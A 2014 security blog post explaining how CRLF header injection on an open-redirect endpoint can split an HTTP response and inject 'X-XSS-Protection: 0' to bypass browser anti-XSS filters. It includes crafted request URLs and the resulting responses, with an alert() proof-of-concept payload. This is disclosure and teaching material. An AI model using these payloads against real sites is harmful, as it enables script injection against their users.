Bypassing browser anti-XSS filters with header injection

2 minute read
June 27, 2014

Currently, most modern browsers provide built-in protection against reflected cross-site scripting (XSS) vulnerabilities. In practice, if a snippet of JavaScript /HTML code that appears in HTTP request, is detected in the corresponding response as well, that code is never executed. This is a nice way to protect users against malicious links or redirects. Let’s see how to bypass this feature.

Previous work

Previously, some hacks have been reported to successfully bypass anti-XSS filters:

I am not sure which is status of these. Those may or may not be fixed in browsers. However, let’s look another method.

Header injection and response splitting

The key point in this method is that we do not use a usual XSS vulnerability, but HTTP Header injection / HTTP Response Splitting [OWASP]. It is a vulnerability, where user input is placed on HTTP response header without proper validation.

A typical example is open redirect flaw. A vulnerable page allows redirection according to user input without proper validation. Request could be something like this:

GET http://example.com/forward?url=http://example.com/foobar

While the response would be something like this:

HTTP/1.1 302 Found
Date: Thu, 26 Jun 2014 22:41:46 GMT
Location: http://www.example.com/foobar
Content-Length: 0

By adding new lines to “url” -parameter, the attacker could inject arbitrary HTTP headers to the response:

GET http://example.com/forward?url=%0d%0aX-Random-Header:%20foo

Which would produce the following HTTP-response:

HTTP/1.1 302 Found
Date: Thu, 26 Jun 2014 22:41:46 GMT
Location: 
X-Random-Header: foo
Content-Length: 0

The bypass

Naturally, the attacker could also specify Content-Length -header and set arbitrary response body, which would exploit a reflected XSS vulnerability. Luckily we have these anti-XSS filters in most modern browsers, which would prevent this. Wait, would they?

Since we can inject arbitrary headers to the response, we can also add the following header:

X-XSS-Protection: 0

This header in HTTP response disables the anti-XSS filters that are built into most browser. The whole request could be for example (by splitting the response):

http://example.com/forward?url=%0d%0aHTTP%20/1.1%20200%20OK%0d%0aX-XSS-Protection:%200%0d%0aContent-Length:%2037%0d%0a%3Cscript%3Ealert(%27xss%27)%3C/script%3E

In this case, the response would be something like this:

HTTP/1.1 302 Found
Date: Thu, 26 Jun 2014 22:41:46 GMT
Location: 
HTTP /1.1 200 OK
X-XSS-Protection: 0
Content-Length: 37

<script>alert('xss')</script>

Now, the browser ignores initial “HTTP/1.1 302 Found” response and considers the latest “HTTP /1.1” the valid response. Now the browser anti-XSS filter is disabled, so that the reflected XSS is executed.

Conclusion

I tested a simple example of this attack both on Google Chrome 34.0 and Safari 7.0.4, and it worked nicely.

It seems that whereas the anti-XSS filters detect and prevent typical reflected XSS attacks, they completely ignore header injection attacks. This allows an attacker to use reflected cross-site scripting on web pages vulnerable to header injection / response splitting.

Categories: ,

Updated:

Leave a Comment